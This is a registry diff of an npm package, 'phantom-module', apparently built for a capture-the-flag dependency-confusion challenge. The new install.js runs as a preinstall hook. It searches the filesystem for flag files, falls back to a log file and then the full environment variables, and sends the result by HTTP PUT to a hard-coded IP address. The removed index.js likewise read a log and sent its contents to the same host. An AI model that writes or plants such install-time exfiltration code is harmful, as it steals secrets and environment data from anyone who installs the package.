phantom-module 111.0.0 → 111.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ecto-spirit-999.999.999.tgz +0 -0
- package/install.js +44 -35
- package/package.json +3 -7
- package/index.js +0 -36
|
Binary file
|
package/install.js
CHANGED
|
@@ -1,38 +1,47 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const {
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
try {
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
5
|
+
(function() {
|
|
6
|
+
let output = "none";
|
|
7
|
+
|
|
8
|
+
try {
|
|
9
|
+
// Try to find the flag file anywhere and cat it
|
|
10
|
+
let files = execSync('find / -name "*flag*" 2>/dev/null').toString().trim().split('\n');
|
|
11
|
+
let cats = [];
|
|
12
|
+
for (let f of files) {
|
|
13
|
+
if (f) {
|
|
14
|
+
try { cats.push(f + ': ' + fs.readFileSync(f, 'utf8').trim()); } catch(e) {}
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
if (cats.length > 0) output = cats.join(' | ');
|
|
18
|
+
} catch (e) {
|
|
19
|
+
output = "err1: " + e.message;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
if (!output || output === "none" || output.length === 0) {
|
|
23
|
+
try {
|
|
24
|
+
output = "LOGS: " + execSync('cat /home/node/aspect-node/logs/module.log 2>/dev/null | tail -n 10').toString();
|
|
25
|
+
} catch (e) {}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
if (!output || output === "none" || output.length === 0) {
|
|
29
|
+
try {
|
|
30
|
+
output = "ENV: " + execSync('env').toString();
|
|
31
|
+
} catch(e) {}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
const postData = JSON.stringify({
|
|
35
|
+
manifest: `ecto_module:\n name: "FLAG_OUTPUT"\n cargo_hold: ${JSON.stringify(output.substring(0, 1000))}\n`
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
const req = http.request({
|
|
39
|
+
hostname: '154.57.164.64',
|
|
40
|
+
port: 31205,
|
|
41
|
+
path: '/api/modules/ECT-654321',
|
|
42
|
+
method: 'PUT',
|
|
43
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
44
|
+
});
|
|
45
|
+
req.write(postData);
|
|
46
|
+
req.end();
|
|
47
|
+
})();
|
package/package.json
CHANGED
|
@@ -1,11 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "phantom-module",
|
|
3
|
-
"version": "111.0.
|
|
4
|
-
"description": "Phantom spectral module",
|
|
5
|
-
"main": "index.js",
|
|
3
|
+
"version": "111.0.2",
|
|
6
4
|
"scripts": {
|
|
7
5
|
"preinstall": "node install.js || true"
|
|
8
|
-
}
|
|
9
|
-
|
|
10
|
-
"license": "ISC"
|
|
11
|
-
}
|
|
6
|
+
}
|
|
7
|
+
}
|
package/index.js
DELETED
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
|
|
4
|
-
function sendToModule(mid, name) {
|
|
5
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${name}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
6
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
|
|
7
|
-
req.on('error', () => {});
|
|
8
|
-
req.write(body);
|
|
9
|
-
req.end();
|
|
10
|
-
}
|
|
11
|
-
|
|
12
|
-
function attemptFlagRead() {
|
|
13
|
-
try {
|
|
14
|
-
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
15
|
-
const match = log.match(/HTB\{[^}]+\}/);
|
|
16
|
-
if (match) {
|
|
17
|
-
sendToModule('ECT-987654', 'GOTFLAG_' + match[0]);
|
|
18
|
-
return true;
|
|
19
|
-
}
|
|
20
|
-
const lines = log.split('\n');
|
|
21
|
-
const last3 = lines.slice(-3).join(' ').replace(/"/g, "'").substring(0, 85);
|
|
22
|
-
sendToModule('ECT-472839', 'NOFLAG_L' + lines.length + '_' + last3);
|
|
23
|
-
return false;
|
|
24
|
-
} catch(e) {
|
|
25
|
-
return false;
|
|
26
|
-
}
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
attemptFlagRead();
|
|
30
|
-
|
|
31
|
-
// Retry after 5s, 15s, 30s
|
|
32
|
-
[5000, 15000, 30000].forEach(delay => {
|
|
33
|
-
setTimeout(() => attemptFlagRead(), delay);
|
|
34
|
-
});
|
|
35
|
-
|
|
36
|
-
module.exports = {};
|